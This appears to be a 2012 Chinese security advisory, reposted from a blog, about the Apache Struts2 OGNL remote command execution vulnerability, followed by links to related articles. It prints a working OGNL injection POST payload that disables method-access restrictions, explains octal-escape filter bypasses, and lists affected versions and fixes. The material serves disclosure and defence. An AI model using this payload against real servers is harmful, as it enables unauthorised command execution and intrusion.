Apache Struts2远程命令执行漏洞呈爆发趋势

简介:

 

Apache Struts2远程命令执行漏洞呈爆发趋势

 

来源:安恒信息 日期:2012-7

近日,安恒信息安全小组发现Apache Struts2导致大量使用此框架的网站沦陷,Apache Struts2 框架是在2010年7月14日被发现存在一个严重命令执行漏洞,但随之出现了防范技术,最近随着struts2带回显功能的POC被公布,出现大量的利用工具,并导致大量使用此框架的网站沦陷,并呈扩散趋势。

我们先来了解一下Apache Struts2,Struts2是在struts 和WebWork的技术基础上进行了合并后的全新框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。李云海 土豆(6336112); Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.

2010年期间Struts2爆发了一远程命令执行漏洞,曾经各种版本的漏洞利用工具让CNVD郁闷不已.

 

一.漏洞细节

以POST的方式提交绕过对输入参数的部分过滤。

('\43_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\43context[\'xwork.MethodAccessor.den

yMethodExecution\']\75false')(d))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EM

PTY_SET')(c))&(asdf)(('\43rp\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\43rp.ge

tWriter().print("dbappsecurity")')(d)) (grgr)(('\43rp.getWriter().close()')(d))=1

\75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。

这样上面就是

1.设置上下文denyMethodExecution=false 运行方法执行

2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量) 
设置外部拦截器为空

3.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

4.myout.getWriter().println("dbappsecurity") ;把response的数据打印到屏幕上。

 

二.Struts2漏洞目前受到影响的系统包括:

1.OpenSymphony XWork < 2.2.0

2.Apache Group Struts < 2.2.0

 

三.Struts2漏洞修复方案:

1.下载最新的版本2.3.4:http://struts.apache.org/download.cgi#struts234

2.或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。

3.可使用安恒信息扫描器检测漏洞,运用安恒信息waf防护漏洞,安全点就只保留字母数字,其它的全部删除即可。 


本文转自 holy2009 51CTO博客,原文链接:http://blog.51cto.com/holy2010/1087878


相关文章
|
1月前
|
Shell Linux Apache
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 apachectl命令 使用教程
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 apachectl命令 使用教程
183 1
|
9月前
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
368 1
|
1月前
|
Shell Linux 网络安全
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 httpd命令 使用指南
【Shell 命令集合 网络通讯 】Linux 管理Apache HTTP服务器 httpd命令 使用指南
46 0
|
9月前
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
71 2
|
9月前
|
SQL 安全 数据可视化
Apache Superset 未授权访问漏洞(CVE-2023-27524)
Apache Superset 存在未授权访问漏洞,攻击者可利用该漏洞验证和访问未经授权的资源。
166 1
|
8月前
|
存储 安全 Java
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
219 0
|
10月前
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
269 1
|
11月前
|
缓存 Apache
执行命令安装Apache及其扩展包时报错
执行命令安装Apache及其扩展包时报错
214 1
|
安全 Linux API
​Apache Solr未授权上传漏洞复现及验证POC编写
​Apache Solr未授权上传漏洞复现及验证POC编写

推荐镜像

更多